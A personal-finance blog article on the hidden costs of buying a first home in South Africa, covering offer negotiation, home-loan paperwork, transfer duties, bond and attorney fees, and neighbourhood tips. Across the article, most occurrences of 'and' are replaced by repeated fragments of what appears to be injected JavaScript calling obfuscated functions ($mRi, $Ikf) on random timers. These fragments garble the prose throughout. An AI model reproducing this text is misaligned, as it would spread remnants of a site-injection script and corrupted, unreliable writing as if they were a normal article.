Investments: The Hidden Costs of Buying Property

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In a previous post, we looked at what’s involved in buying your first home andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and all that’s entailed in making this type of investment.  Real estate or property investments are often said to be the most sound investment one can make.

However, there are a number of hidden costs involved with this type of investment that many people neglect to consider. To ensure that your first leap into property ownership is a successful one, it’s vital to consider these hidden costs of buying property. With a little financial planning though, one can prepare for these unforeseen expenses.

In this article, we take a look at more tips  to help you with the process of buying that first house as well as these hidden costs involved in this process.

Taking the leap

When you have decided on a house, do not offer the amount asked for immediately: Remember it’s a negotiation.

Sometimes it’s a waiting game too. Some property buyers or investors find a house they like andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and put in an offer a few hundred thousandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ands under the asking price.

If the offer is rejected they wait andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and if the property is not sold they put their offer in again a few months later. This can be risky but sellers do eventually have to accept lower offers. Another option is to keep your search primarily on homes that have been on the market for a few months already.

Buying a house is not just financially draining but also a very time-consuming andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and paperwork-intensive process.

Generally the buyer will receive 21 days after the offer has been accepted to go through the home loan process.

It’s therefore wise to find out from your bank what paperwork you will need even before you put your offer in. This way you can avoid unnecessary delays.

You can also apply for a home loan online.

Hidden Costs

Aside from just the price of the house, the very process of buying andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and moving into a new home is a pricey one. Make sure you budget for the following:

  • Transfer duties to SARS
  • Attorney fees for the deeds office transfer
  • Bond registration costs
  • Costs of moving your furniture
  • Home Insurance
  • Costs of connecting electricity, TV, ADSL etc.
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Welcome to the neighbourhood

Buying a house may be a taxing process in the short run, but in the long run it is satisfying to be able to build a home andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and create your own life andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and memories in it.

Moreover, buying a home is an investment andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and property investments are generally sound investments.

Once you’ve moved into your new home get to know what is going on in the community: if there is a neighbourhood watch get to know them, maybe even join them.

Find out who your ward counsellor is so you know who to call if you have problems with the municipality.

Good fences may make good neighbours, but its also nice to know that your neighbours will keep an eye on your home when you go away, or bring your dog home if they find him in the road.

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About Author

Natalie Simon is a freelance writer and journalism student. She holds an Honours degree in Political Studies from Wits University and UCT. She writes for a wide variety of websites, on topics as varied as financial management and animal conservation.